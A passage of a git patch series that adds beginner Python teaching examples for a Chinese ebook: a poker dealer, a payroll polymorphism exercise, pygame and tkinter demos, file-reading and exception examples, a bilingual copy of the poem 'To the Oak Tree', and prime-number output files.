+ """发牌""" + card = self._cards[self._current] + self._current += 1 + return card + + @property + def has_next(self): + """还有没有牌""" + return self._current < len(self._cards) + + +class Player(object): + """玩家""" + + def __init__(self, name): + self._name = name + self._cards_on_hand = [] + + @property + def name(self): + return self._name + + @property + def cards_on_hand(self): + return self._cards_on_hand + + def get(self, card): + """摸牌""" + self._cards_on_hand.append(card) + + def arrange(self, card_key): + """玩家整理手上的牌""" + self._cards_on_hand.sort(key=card_key) + + +# 排序规则-先根据花色再根据点数排序 +def get_key(card): + return (card.suite, card.face) + + +def main(): + p = Poker() + p.shuffle() + players = [Player('东邪'), Player('西毒'), Player('南帝'), Player('北丐')] + for _ in range(13): + for player in players: + player.get(p.next) + for player in players: + print(player.name + ':', end=' ') + player.arrange(get_key) + print(player.cards_on_hand) + + +if __name__ == '__main__': + main() \ No newline at end of file -- Gitee From ef08568e5a0d1cd4c2ea059f38b12985e542ead5 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=AD=99=E5=BE=B7=E8=83=9C?= Date: Wed, 6 Sep 2023 20:59:48 +0800 Subject: [PATCH 10/19] =?UTF-8?q?=E6=9F=90=E5=85=AC=E5=8F=B8=E6=9C=89?= =?UTF-8?q?=E4=B8=89=E7=A7=8D=E7=B1=BB=E5=9E=8B=E7=9A=84=E5=91=98=E5=B7=A5?= =?UTF-8?q?=20=E5=88=86=E5=88=AB=E6=98=AF=E9=83=A8=E9=97=A8=E7=BB=8F?= =?UTF-8?q?=E7=90=86=E3=80=81=E7=A8=8B=E5=BA=8F=E5=91=98=E5=92=8C=E9=94=80?= =?UTF-8?q?=E5=94=AE=E5=91=98=20=E9=9C=80=E8=A6=81=E8=AE=BE=E8=AE=A1?= =?UTF-8?q?=E4=B8=80=E4=B8=AA=E5=B7=A5=E8=B5=84=E7=BB=93=E7=AE=97=E7=B3=BB?= =?UTF-8?q?=E7=BB=9F=20=E6=A0=B9=E6=8D=AE=E6=8F=90=E4=BE=9B=E7=9A=84?= =?UTF-8?q?=E5=91=98=E5=B7=A5=E4=BF=A1=E6=81=AF=E6=9D=A5=E8=AE=A1=E7=AE=97?= =?UTF-8?q?=E6=9C=88=E8=96=AA=20=E9=83=A8=E9=97=A8=E7=BB=8F=E7=90=86?= =?UTF-8?q?=E7=9A=84=E6=9C=88=E8=96=AA=E6=98=AF=E6=AF=8F=E6=9C=88=E5=9B=BA?= =?UTF-8?q?=E5=AE=9A15000=E5=85=83=20=E7=A8=8B=E5=BA=8F=E5=91=98=E7=9A=84?= =?UTF-8?q?=E6=9C=88=E8=96=AA=E6=8C=89=E6=9C=AC=E6=9C=88=E5=B7=A5=E4=BD=9C?= =?UTF-8?q?=E6=97=B6=E9=97=B4=E8=AE=A1=E7=AE=97=20=E6=AF=8F=E5=B0=8F?= =?UTF-8?q?=E6=97=B6150=E5=85=83=20=E9=94=80=E5=94=AE=E5=91=98=E7=9A=84?= =?UTF-8?q?=E6=9C=88=E8=96=AA=E6=98=AF1200=E5=85=83=E7=9A=84=E5=BA=95?= =?UTF-8?q?=E8=96=AA=E5=8A=A0=E4=B8=8A=E9=94=80=E5=94=AE=E9=A2=9D5%?= =?UTF-8?q?=E7=9A=84=E6=8F=90=E6=88=90?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ebook/pythonEbook/object/plus/Employee.py | 99 +++++++++++++++++++++++ 1 file changed, 99 insertions(+) create mode 100644 ebook/pythonEbook/object/plus/Employee.py diff --git a/ebook/pythonEbook/object/plus/Employee.py b/ebook/pythonEbook/object/plus/Employee.py new file mode 100644 index 0000000..baa8bdb --- /dev/null +++ b/ebook/pythonEbook/object/plus/Employee.py @@ -0,0 +1,99 @@ +""" +某公司有三种类型的员工 分别是部门经理、程序员和销售员 +需要设计一个工资结算系统 根据提供的员工信息来计算月薪 +部门经理的月薪是每月固定15000元 +程序员的月薪按本月工作时间计算 每小时150元 +销售员的月薪是1200元的底薪加上销售额5%的提成 +""" +from abc import ABCMeta, abstractmethod + + +class Employee(object, metaclass=ABCMeta): + """员工""" + + def __init__(self, name): + """ + 初始化方法 + + :param name: 姓名 + """ + self._name = name + + @property + def name(self): + return self._name + + @abstractmethod + def get_salary(self): + """ + 获得月薪 + + :return: 月薪 + """ + pass + + +class Manager(Employee): + """部门经理""" + + def get_salary(self): + return 15000.0 + + +class Programmer(Employee): + """程序员""" + + def __init__(self, name, working_hour=0): + super().__init__(name) + self._working_hour = working_hour + + @property + def working_hour(self): + return self._working_hour + + @working_hour.setter + def working_hour(self, working_hour): + self._working_hour = working_hour if working_hour > 0 else 0 + + def get_salary(self): + return 150.0 * self._working_hour + + +class Salesman(Employee): + """销售员""" + + def __init__(self, name, sales=0): + super().__init__(name) + self._sales = sales + + @property + def sales(self): + return self._sales + + @sales.setter + def sales(self, sales): + self._sales = sales if sales > 0 else 0 + + def get_salary(self): + return 1200.0 + self._sales * 0.05 + + +def main(): + emps = [ + Manager('刘备'), Programmer('诸葛亮'), + Manager('曹操'), Salesman('荀彧'), + Salesman('吕布'), Programmer('张辽'), + Programmer('赵云') + ] + for emp in emps: + if isinstance(emp, Programmer): + emp.working_hour = int(input('请输入%s本月工作时间: ' % emp.name)) + elif isinstance(emp, Salesman): + emp.sales = float(input('请输入%s本月销售额: ' % emp.name)) + # 同样是接收get_salary这个消息但是不同的员工表现出了不同的行为(多态) + print('%s本月工资为: ¥%s元' % + (emp.name, emp.get_salary())) + + +if __name__ == '__main__': + main() \ No newline at end of file -- Gitee From 66e1065618627ac8f343ee8637441b1f9b4d2429 Mon Sep 17 00:00:00 2001 From: gejin Date: Mon, 11 Sep 2023 21:06:50 +0800 Subject: [PATCH 11/19] =?UTF-8?q?python=20=E6=B8=B8=E6=88=8F=E7=A4=BA?= =?UTF-8?q?=E4=BE=8B?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ebook/pythonEbook/tkinter/PygameTest.py | 21 ++++++++++++ ebook/pythonEbook/tkinter/tkinterGUI.py | 43 +++++++++++++++++++++++++ 2 files changed, 64 insertions(+) create mode 100644 ebook/pythonEbook/tkinter/PygameTest.py create mode 100644 ebook/pythonEbook/tkinter/tkinterGUI.py diff --git a/ebook/pythonEbook/tkinter/PygameTest.py b/ebook/pythonEbook/tkinter/PygameTest.py new file mode 100644 index 0000000..15b0699 --- /dev/null +++ b/ebook/pythonEbook/tkinter/PygameTest.py @@ -0,0 +1,21 @@ +import pygame + + +def main(): + # 初始化导入的pygame中的模块 + pygame.init() + # 初始化用于显示的窗口并设置窗口尺寸 + pygame.display.set_mode((800, 600)) + # 设置当前窗口的标题 + pygame.display.set_caption('大球吃小球') + running = True + # 开启一个事件循环处理发生的事件 + while running: + # 从消息队列中获取事件并对事件进行处理 + for event in pygame.event.get(): + if event.type == pygame.QUIT: + running = False + + +if __name__ == '__main__': + main() diff --git a/ebook/pythonEbook/tkinter/tkinterGUI.py b/ebook/pythonEbook/tkinter/tkinterGUI.py new file mode 100644 index 0000000..4c80df1 --- /dev/null +++ b/ebook/pythonEbook/tkinter/tkinterGUI.py @@ -0,0 +1,43 @@ +import tkinter +import tkinter.messagebox + + +def main(): + flag = True + + # 修改标签上的文字 + def change_label_text(): + nonlocal flag + flag = not flag + color, msg = ('red', 'Hello, world!')\ + if flag else ('blue', 'Goodbye, world!') + label.config(text=msg, fg=color) + + # 确认退出 + def confirm_to_quit(): + if tkinter.messagebox.askokcancel('温馨提示', '确定要退出吗?'): + top.quit() + + # 创建顶层窗口 + top = tkinter.Tk() + # 设置窗口大小 + top.geometry('240x160') + # 设置窗口标题 + top.title('小游戏') + # 创建标签对象并添加到顶层窗口 + label = tkinter.Label(top, text='Hello, world!', font='Arial -32', fg='red') + label.pack(expand=1) + # 创建一个装按钮的容器 + panel = tkinter.Frame(top) + # 创建按钮对象 指定添加到哪个容器中 通过command参数绑定事件回调函数 + button1 = tkinter.Button(panel, text='修改', command=change_label_text) + button1.pack(side='left') + button2 = tkinter.Button(panel, text='退出', command=confirm_to_quit) + button2.pack(side='right') + panel.pack(side='bottom') + # 开启主事件循环 + tkinter.mainloop() + + +if __name__ == '__main__': + main() \ No newline at end of file -- Gitee From da94674a23415d7b95ec214d33ae38a6d64dd8db Mon Sep 17 00:00:00 2001 From: gejin Date: Mon, 11 Sep 2023 21:30:21 +0800 Subject: [PATCH 12/19] =?UTF-8?q?python=20=E6=96=87=E4=BB=B6=E8=AF=BB?= =?UTF-8?q?=E5=8F=96=E5=92=8C=E5=BC=82=E5=B8=B8=E5=A4=84=E7=90=86?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../pythonEbook/fileAndexception/fileWrite.py | 38 +++++++++++++++++++ 1 file changed, 38 insertions(+) create mode 100644 ebook/pythonEbook/fileAndexception/fileWrite.py diff --git a/ebook/pythonEbook/fileAndexception/fileWrite.py b/ebook/pythonEbook/fileAndexception/fileWrite.py new file mode 100644 index 0000000..1b2a9f4 --- /dev/null +++ b/ebook/pythonEbook/fileAndexception/fileWrite.py @@ -0,0 +1,38 @@ +def main(): + """ + 文件读取后抛出异常 + Returns + ------- + + + # 使用try 和except finally处理异常 + f = None + try: + f = open("致橡树.txt", "r", encoding="utf-8") + print(f.read()) + except FileNotFoundError: + print("没有找到对应的文件!") + except LookupError: + print('指定了未知的编码!') + except UnicodeDecodeError: + print('读取文件时解码错误!') + finally: + if f: + f.close() + """ + + # 使用with 处理异常 + f = None + try: + with open("致橡树.txt", "r", encoding="utf-8") as f: + print(f.read()) + except FileNotFoundError: + print("没有找到对应的文件!") + except LookupError: + print('指定了未知的编码!') + except UnicodeDecodeError: + print('读取文件时解码错误!') + + +if __name__ == '__main__': + main() -- Gitee From 222e66395b68c430e566fd6ac4e94006c6e3b1fa Mon Sep 17 00:00:00 2001 From: gejin Date: Mon, 11 Sep 2023 21:30:50 +0800 Subject: [PATCH 13/19] =?UTF-8?q?python=20=E6=96=87=E4=BB=B6=E8=AF=BB?= =?UTF-8?q?=E5=8F=96=E7=9A=84=E4=B8=89=E7=A7=8D=E6=96=B9=E5=BC=8F?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...11\347\247\215\346\226\271\345\274\217.py" | 24 +++++++++++++++++++ 1 file changed, 24 insertions(+) create mode 100644 "ebook/pythonEbook/fileAndexception/\350\257\273\345\217\226\346\226\207\344\273\266\347\232\204\344\270\211\347\247\215\346\226\271\345\274\217.py" diff --git "a/ebook/pythonEbook/fileAndexception/\350\257\273\345\217\226\346\226\207\344\273\266\347\232\204\344\270\211\347\247\215\346\226\271\345\274\217.py" "b/ebook/pythonEbook/fileAndexception/\350\257\273\345\217\226\346\226\207\344\273\266\347\232\204\344\270\211\347\247\215\346\226\271\345\274\217.py" new file mode 100644 index 0000000..e7247a0 --- /dev/null +++ "b/ebook/pythonEbook/fileAndexception/\350\257\273\345\217\226\346\226\207\344\273\266\347\232\204\344\270\211\347\247\215\346\226\271\345\274\217.py" @@ -0,0 +1,24 @@ +import time + + +def main(): + f = None + # 一次性读取整个文件内容 + with open("致橡树.txt", "r", encoding="utf-8") as f: + print(f.read()) + + # 通过for-in循环逐行读取 + with open('致橡树.txt', mode='r', encoding="utf-8") as f: + for line in f: + print(line, end='') + time.sleep(0.5) + print() + + # 按行读到列表中 + with open('致橡树.txt', "r", encoding="utf-8") as f: + lines = f.readlines() + print(lines) + + +if __name__ == '__main__': + main() -- Gitee From 075456b98bd51df7d5d073a45143ccd9b30b2cff Mon Sep 17 00:00:00 2001 From: gejin Date: Mon, 11 Sep 2023 21:32:03 +0800 Subject: [PATCH 14/19] =?UTF-8?q?python=20txt=20=E6=96=87=E4=BB=B6?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../\350\207\264\346\251\241\346\240\221.txt" | 44 +++++++++++++++++++ 1 file changed, 44 insertions(+) create mode 100644 "ebook/pythonEbook/fileAndexception/\350\207\264\346\251\241\346\240\221.txt" diff --git "a/ebook/pythonEbook/fileAndexception/\350\207\264\346\251\241\346\240\221.txt" "b/ebook/pythonEbook/fileAndexception/\350\207\264\346\251\241\346\240\221.txt" new file mode 100644 index 0000000..0c2fa39 --- /dev/null +++ "b/ebook/pythonEbook/fileAndexception/\350\207\264\346\251\241\346\240\221.txt" @@ -0,0 +1,44 @@ +【原诗】 【Johanna Yueh 修改版】 +致橡树 To the Oak Tree +作者:舒婷 By Shu Ting + +我如果爱你—— If I love you -- +绝不像攀援的凌霄花 I will never be a clinging trumpet creeper +借你的高枝炫耀自己 Using your high boughs to show off my height + +我如果爱你—— If I love you -- +绝不学痴情的鸟儿 I will never be a spoony bird +为绿荫重复单调的歌曲 Repeating a monotonous song for green shade + +也不止像泉源 Or be a spring +常年送来清凉的慰藉 Bringing cool solace all year long +也不止像险峰 Or be a steep peak +增加你的高度,衬托你的威仪 Increasing your stature, reflecting your eminence +甚至日光 Even the sunlight +甚至春雨 Even the spring rain +不,这些都还不够 No, all these are not enough + +我必须是你近旁的一株木棉 I must be a ceiba tree beside you +作为树的形象和你站在一起 Be the image of a tree standing together with you +根,紧握在地下 Our roots, entwined underground +叶,相触在云里 Our leaves, touching in the clouds +每一阵风过 With each gust of wind +我们都互相致意 We greet each other +但没有人 But nobody +听懂我们的言语 Can understand our words + +你有你的铜枝铁干 You'll have your copper branches and iron trunk +像刀、像剑,也像戟 Like knives, like swords, like halberds, too +我有我的红硕花朵 I'll have my crimson flowers +像沉重的叹息 Like heavy sighs +又像英勇的火炬 And valiant torches +我们分担寒潮、风雷、霹雳 We'll share cold spells, storms and thunder +我们共享雾霭、流岚、虹霓 We'll share mists, hazes and rainbows +仿佛永远分离 Seemingly always apart +却又终身相依 But also forever interdependent + +这才是伟大的爱情 Only this can be great love +坚贞就在这里 The loyalty is here +爱—— Love -- +不仅爱你伟岸的身躯 I love not only your strapping stature +也爱你坚持的位置,足下的土地 But also your firm stand, the earth beneath you \ No newline at end of file -- Gitee From 0cb3cbe80df5341e8a3e6c432108f09d131e86e6 Mon Sep 17 00:00:00 2001 From: gejin Date: Mon, 11 Sep 2023 21:44:40 +0800 Subject: [PATCH 15/19] =?UTF-8?q?python=20=E6=96=87=E4=BB=B6=E5=86=99?= =?UTF-8?q?=E5=85=A5=E7=9A=84=E7=BB=93=E6=9E=9C?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ebook/pythonEbook/fileAndexception/a.txt | 25 + ebook/pythonEbook/fileAndexception/b.txt | 143 +++ ebook/pythonEbook/fileAndexception/c.txt | 1061 ++++++++++++++++++++++ 3 files changed, 1229 insertions(+) create mode 100644 ebook/pythonEbook/fileAndexception/a.txt create mode 100644 ebook/pythonEbook/fileAndexception/b.txt create mode 100644 ebook/pythonEbook/fileAndexception/c.txt diff --git a/ebook/pythonEbook/fileAndexception/a.txt b/ebook/pythonEbook/fileAndexception/a.txt new file mode 100644 index 0000000..afc67fd --- /dev/null +++ b/ebook/pythonEbook/fileAndexception/a.txt @@ -0,0 +1,25 @@ +2 +3 +5 +7 +11 +13 +17 +19 +23 +29 +31 +37 +41 +43 +47 +53 +59 +61 +67 +71 +73 +79 +83 +89 +97 diff --git a/ebook/pythonEbook/fileAndexception/b.txt b/ebook/pythonEbook/fileAndexception/b.txt new file mode 100644 index 0000000..0aa2bff --- /dev/null +++ b/ebook/pythonEbook/fileAndexception/b.txt @@ -0,0 +1,143 @@ +101 +103 +107 +109 +113 +127 +131 +137 +139 +149 +151 +157 +163 +167 +173 +179 +181 +191 +193 +197 +199 +211 +223 +227 +229 +233 +239 +241 +251 +257 +263 +269 +271 +277 +281 +283 +293 +307 +311 +313 +317 +331 +337 +347 +349 +353 +359 +367 +373 +379 +383 +389 +397 +401 +409 +419 +421 +431 +433 +439 +443 +449 +457 +461 +463 +467 +479 +487 +491 +499 +503 +509 +521 +523 +541 +547 +557 +563 +569 +571 +577 +587 +593 +599 +601 +607 +613 +617 +619 +631 +641 +643 +647 +653 +659 +661 +673 +677 +683 +691 +701 +709 +719 +727 +733 +739 +743 +751 +757 +761 +769 +773 +787 +797 +809 +811 +821 +823 +827 +829 +839 +853 +857 +859 +863 +877 +881 +883 +887 +907 +911 +919 +929 +937 +941 +947 +953 +967 +971 +977 +983 +991 +997 diff --git a/ebook/pythonEbook/fileAndexception/c.txt b/ebook/pythonEbook/fileAndexception/c.txt new file mode 100644 index 0000000..7e0c73e --- /dev/null +++ b/ebook/pythonEbook/fileAndexception/c.txt @@ -0,0 +1,1061 @@ +1009 +1013 +1019 +1021 +1031 +1033 +1039 +1049 +1051 +1061 +1063 +1069 +1087 +1091 +1093 +1097 +1103 +1109 +1117 +1123 +1129 +1151 +1153 +1163 +1171 +1181 +1187 +1193 +1201 +1213 +1217 +1223 +1229 +1231 +1237 +1249 +1259 +1277 +1279 +1283 +1289 +1291 +1297 +1301 +1303 +1307 +1319 +1321 +1327 +1361 +1367 +1373 +1381 +1399 +1409 +1423 +1427 +1429 +1433 +1439 +1447 +1451 +1453 +1459 +1471 +1481 +1483 +1487 +1489 +1493 +1499 +1511 +1523 +1531 +1543 +1549 +1553 +1559 +1567 +1571 +1579 +1583 +1597 +1601 +1607 +1609 +1613 +1619 +1621 +1627 +1637 +1657 +1663 +1667 +1669 +1693 +1697 +1699 +1709 +1721 +1723 +1733 +1741 +1747 +1753 +1759 +1777 +1783 +1787 +1789 +1801 +1811 +1823 +1831 +1847 +1861 +1867 +1871 +1873 +1877 +1879 +1889 +1901 +1907 +1913 +1931 +1933 +1949 +1951 +1973 +1979 +1987 +1993 +1997 +1999 +2003 +2011 +2017 +2027 +2029 +2039 +2053 +2063 +2069 +2081 +2083 +2087 +2089 +2099 +2111 +2113 +2129 +2131 +2137 +2141 +2143 +2153 +2161 +2179 +2203 +2207 +2213 +2221 +2237 +2239 +2243 +2251 +2267 +2269 +2273 +2281 +2287 +2293 +2297 +2309 +2311 +2333 +2339 +2341 +2347 +2351 +2357 +2371 +2377 +2381 +2383 +2389 +2393 +2399 +2411 +2417 +2423 +2437 +2441 +2447 +2459 +2467 +2473 +2477 +2503 +2521 +2531 +2539 +2543 +2549 +2551 +2557 +2579 +2591 +2593 +2609 +2617 +2621 +2633 +2647 +2657 +2659 +2663 +2671 +2677 +2683 +2687 +2689 +2693 +2699 +2707 +2711 +2713 +2719 +2729 +2731 +2741 +2749 +2753 +2767 +2777 +2789 +2791 +2797 +2801 +2803 +2819 +2833 +2837 +2843 +2851 +2857 +2861 +2879 +2887 +2897 +2903 +2909 +2917 +2927 +2939 +2953 +2957 +2963 +2969 +2971 +2999 +3001 +3011 +3019 +3023 +3037 +3041 +3049 +3061 +3067 +3079 +3083 +3089 +3109 +3119 +3121 +3137 +3163 +3167 +3169 +3181 +3187 +3191 +3203 +3209 +3217 +3221 +3229 +3251 +3253 +3257 +3259 +3271 +3299 +3301 +3307 +3313 +3319 +3323 +3329 +3331 +3343 +3347 +3359 +3361 +3371 +3373 +3389 +3391 +3407 +3413 +3433 +3449 +3457 +3461 +3463 +3467 +3469 +3491 +3499 +3511 +3517 +3527 +3529 +3533 +3539 +3541 +3547 +3557 +3559 +3571 +3581 +3583 +3593 +3607 +3613 +3617 +3623 +3631 +3637 +3643 +3659 +3671 +3673 +3677 +3691 +3697 +3701 +3709 +3719 +3727 +3733 +3739 +3761 +3767 +3769 +3779 +3793 +3797 +3803 +3821 +3823 +3833 +3847 +3851 +3853 +3863 +3877 +3881 +3889 +3907 +3911 +3917 +3919 +3923 +3929 +3931 +3943 +3947 +3967 +3989 +4001 +4003 +4007 +4013 +4019 +4021 +4027 +4049 +4051 +4057 +4073 +4079 +4091 +4093 +4099 +4111 +4127 +4129 +4133 +4139 +4153 +4157 +4159 +4177 +4201 +4211 +4217 +4219 +4229 +4231 +4241 +4243 +4253 +4259 +4261 +4271 +4273 +4283 +4289 +4297 +4327 +4337 +4339 +4349 +4357 +4363 +4373 +4391 +4397 +4409 +4421 +4423 +4441 +4447 +4451 +4457 +4463 +4481 +4483 +4493 +4507 +4513 +4517 +4519 +4523 +4547 +4549 +4561 +4567 +4583 +4591 +4597 +4603 +4621 +4637 +4639 +4643 +4649 +4651 +4657 +4663 +4673 +4679 +4691 +4703 +4721 +4723 +4729 +4733 +4751 +4759 +4783 +4787 +4789 +4793 +4799 +4801 +4813 +4817 +4831 +4861 +4871 +4877 +4889 +4903 +4909 +4919 +4931 +4933 +4937 +4943 +4951 +4957 +4967 +4969 +4973 +4987 +4993 +4999 +5003 +5009 +5011 +5021 +5023 +5039 +5051 +5059 +5077 +5081 +5087 +5099 +5101 +5107 +5113 +5119 +5147 +5153 +5167 +5171 +5179 +5189 +5197 +5209 +5227 +5231 +5233 +5237 +5261 +5273 +5279 +5281 +5297 +5303 +5309 +5323 +5333 +5347 +5351 +5381 +5387 +5393 +5399 +5407 +5413 +5417 +5419 +5431 +5437 +5441 +5443 +5449 +5471 +5477 +5479 +5483 +5501 +5503 +5507 +5519 +5521 +5527 +5531 +5557 +5563 +5569 +5573 +5581 +5591 +5623 +5639 +5641 +5647 +5651 +5653 +5657 +5659 +5669 +5683 +5689 +5693 +5701 +5711 +5717 +5737 +5741 +5743 +5749 +5779 +5783 +5791 +5801 +5807 +5813 +5821 +5827 +5839 +5843 +5849 +5851 +5857 +5861 +5867 +5869 +5879 +5881 +5897 +5903 +5923 +5927 +5939 +5953 +5981 +5987 +6007 +6011 +6029 +6037 +6043 +6047 +6053 +6067 +6073 +6079 +6089 +6091 +6101 +6113 +6121 +6131 +6133 +6143 +6151 +6163 +6173 +6197 +6199 +6203 +6211 +6217 +6221 +6229 +6247 +6257 +6263 +6269 +6271 +6277 +6287 +6299 +6301 +6311 +6317 +6323 +6329 +6337 +6343 +6353 +6359 +6361 +6367 +6373 +6379 +6389 +6397 +6421 +6427 +6449 +6451 +6469 +6473 +6481 +6491 +6521 +6529 +6547 +6551 +6553 +6563 +6569 +6571 +6577 +6581 +6599 +6607 +6619 +6637 +6653 +6659 +6661 +6673 +6679 +6689 +6691 +6701 +6703 +6709 +6719 +6733 +6737 +6761 +6763 +6779 +6781 +6791 +6793 +6803 +6823 +6827 +6829 +6833 +6841 +6857 +6863 +6869 +6871 +6883 +6899 +6907 +6911 +6917 +6947 +6949 +6959 +6961 +6967 +6971 +6977 +6983 +6991 +6997 +7001 +7013 +7019 +7027 +7039 +7043 +7057 +7069 +7079 +7103 +7109 +7121 +7127 +7129 +7151 +7159 +7177 +7187 +7193 +7207 +7211 +7213 +7219 +7229 +7237 +7243 +7247 +7253 +7283 +7297 +7307 +7309 +7321 +7331 +7333 +7349 +7351 +7369 +7393 +7411 +7417 +7433 +7451 +7457 +7459 +7477 +7481 +7487 +7489 +7499 +7507 +7517 +7523 +7529 +7537 +7541 +7547 +7549 +7559 +7561 +7573 +7577 +7583 +7589 +7591 +7603 +7607 +7621 +7639 +7643 +7649 +7669 +7673 +7681 +7687 +7691 +7699 +7703 +7717 +7723 +7727 +7741 +7753 +7757 +7759 +7789 +7793 +7817 +7823 +7829 +7841 +7853 +7867 +7873 +7877 +7879 +7883 +7901 +7907 +7919 +7927 +7933 +7937 +7949 +7951 +7963 +7993 +8009 +8011 +8017 +8039 +8053 +8059 +8069 +8081 +8087 +8089 +8093 +8101 +8111 +8117 +8123 +8147 +8161 +8167 +8171 +8179 +8191 +8209 +8219 +8221 +8231 +8233 +8237 +8243 +8263 +8269 +8273 +8287 +8291 +8293 +8297 +8311 +8317 +8329 +8353 +8363 +8369 +8377 +8387 +8389 +8419 +8423 +8429 +8431 +8443 +8447 +8461 +8467 +8501 +8513 +8521 +8527 +8537 +8539 +8543 +8563 +8573 +8581 +8597 +8599 +8609 +8623 +8627 +8629 +8641 +8647 +8663 +8669 +8677 +8681 +8689 +8693 +8699 +8707 +8713 +8719 +8731 +8737 +8741 +8747 +8753 +8761 +8779 +8783 +8803 +8807 +8819 +8821 +8831 +8837 +8839 +8849 +8861 +8863 +8867 +8887 +8893 +8923 +8929 +8933 +8941 +8951 +8963 +8969 +8971 +8999 +9001 +9007 +9011 +9013 +9029 +9041 +9043 +9049 +9059 +9067 +9091 +9103 +9109 +9127 +9133 +9137 +9151 +9157 +9161 +9173 +9181 +9187 +9199 +9203 +9209 +9221 +9227 +9239 +9241 +9257 +9277 +9281 +9283 +9293 +9311 +9319 +9323 +9337 +9341 +9343 +9349 +9371 +9377 +9391 +9397 +9403 +9413 +9419 +9421 +9431 +9433 +9437 +9439 +9461 +9463 +9467 +9473 +9479 +9491 +9497 +9511 +9521 +9533 +9539 +9547 +9551 +9587 +9601 +9613 +9619 +9623 +9629 +9631 +9643 +9649 +9661 +9677 +9679 +9689 +9697 +9719 +9721 +9733 +9739 +9743 +9749 +9767 +9769 +9781 +9787 +9791 +9803 +9811 +9817 +9829 +9833 +9839 +9851 +9857 +9859 +9871 +9883 +9887 +9901 +9907 +9923 +9929 +9931 +9941 +9949 +9967 +9973 -- Gitee From 2086d5b980a3a63027eacaa6e41e046f635b5908 Mon Sep 17 00:00:00 2001 From: gejin Date: Mon, 11 Sep 2023 21:45:15 +0800 Subject: [PATCH 16/19] =?UTF-8?q?python=20=E4=B8=8D=E5=90=8C=E5=8C=BA?= =?UTF-8?q?=E9=97=B4=E7=9A=84=E7=B4=A0=E6=95=B0=E5=86=99=E5=85=A5=E4=B8=8D?= =?UTF-8?q?=E5=90=8C=E6=96=87=E4=BB=B6?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...07\344\273\266\345\206\231\345\205\245.py" | 41 +++++++++++++++++++ 1 file changed, 41 insertions(+) create mode 100644 "ebook/pythonEbook/fileAndexception/\346\226\207\344\273\266\345\206\231\345\205\245.py" diff --git "a/ebook/pythonEbook/fileAndexception/\346\226\207\344\273\266\345\206\231\345\205\245.py" "b/ebook/pythonEbook/fileAndexception/\346\226\207\344\273\266\345\206\231\345\205\245.py" new file mode 100644 index 0000000..e7b4713 --- /dev/null +++ "b/ebook/pythonEbook/fileAndexception/\346\226\207\344\273\266\345\206\231\345\205\245.py" @@ -0,0 +1,41 @@ +from math import sqrt + +""" +将1-9999之间的素数分别写入三个文件中(1-99之间的素数保存在a.txt中,100-999之间的素数保存在b.txt中,1000-9999之间的素数保存在c.txt中) +""" + + +def is_prime(n): + """判断素数的函数""" + assert n > 0 + for factor in range(2, int(sqrt(n)) + 1): + if n % factor == 0: + return False + return True if n != 1 else False + + +def main(): + filenames = ('a.txt', "b.txt", "c.txt") + file_list = [] + try: + for fileName in filenames: + file_list.append(open(fileName, "w", encoding="utf-8")) + for num in range(1, 10000): + if is_prime(num): + if num < 100: + file_list[0].write(str(num) + "\n") + elif num < 1000: + file_list[1].write(str(num) + "\n") + else: + file_list[2].write(str(num) + "\n") + except IOError as ex: + print(ex) + print("文件写入时出现错误") + finally: + for fs in file_list: + fs.close() + print("全部写完了") + + +if __name__ == '__main__': + main() -- Gitee From f4f342712421fcbc2dd87eca3a92aaefb0249342 Mon Sep 17 00:00:00 2001 From: gejin Date: Mon, 11 Sep 2023 21:57:10 +0800 Subject: [PATCH 17/19] =?UTF-8?q?python=20=E4=BA=8C=E8=BF=9B=E5=88=B6?= =?UTF-8?q?=E6=96=87=E4=BB=B6=E8=AF=BB=E5=8F=96=E5=92=8C=E5=86=99=E5=85=A5?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ebook/pythonEbook/fileAndexception/a.png | Bin 0 -> 23951 bytes ebook/pythonEbook/fileAndexception/b.png | Bin 0 -> 23951 bytes ...33\345\210\266\346\226\207\344\273\266.py" | 18 ++++++++++++++++++ 3 files changed, 18 insertions(+) create mode 100644 ebook/pythonEbook/fileAndexception/a.png create mode 100644 ebook/pythonEbook/fileAndexception/b.png create mode 100644 "ebook/pythonEbook/fileAndexception/\350\257\273\345\206\231\344\272\214\350\277\233\345\210\266\346\226\207\344\273\266.py" diff --git a/ebook/pythonEbook/fileAndexception/a.png b/ebook/pythonEbook/fileAndexception/a.png new file mode 100644 index 0000000000000000000000000000000000000000..bad3ed636d403b077a236b5902dfd0d80ef90a4a GIT binary patch literal 23951 zcmbrkQ*>or&^Eeb+g8W6&5pHW+crA3I_cQXj%~Z6j@hwo^Y8aN-#^aHxjQv$-K;sr z9Ba+0nzQPu=WFF_8-OY+^<4@81_l6t{TqOS6DZ)|Gt32CC++j+*I=8#p`3>gHB(dwT?@#h@Q?zwr|rsIf%f+nzrJlQ;e#M zgAKUVt+uNLBYrz6`2`R;O^m5nbU-V_@iYB>I?(B8{#x9?v|ORXBAccR0t6Mu*!Ewi z&XcAQ#{~|;(r?24UjGx(&+CncvT2_hrbRk#VoW-`@>;?O1083>j>M&H1!qo0+Few0 zM}n4%taTjX>NCFUGpWxI^>&{cVpkM33>tQJ55-qc!6iJ0gz^9B&yP*jqPjfjE#x*y z*A$08XufuO@cB0!gm=`4JKfMPV`bcbah?oXVv#S1-|uQ`=qCL6{!OEa8;{86X!8=} zUMGI~ARY7CR#EpszHq6SAq#{=r4_OF?mI^NcBGmcsJ$2_!eCp-OEZ)CeiiLQd{B z%i{ek{;523?*(3ekR1t2dF3-SzkZ2tTf`Vk>6M|=ft+G}ayxem64>AhBw1uIOtgF3 ze@*bAEhYJwqOU>0&32bII1tr~BrOoEr?Kbk}DvnCf2ko#lPA zb5`R5LZe|Z!(uIts!^JXSHpRNXPBzEK|Pm6o=8~srLy4Ye$4u%edORH>OeMhaw{c3 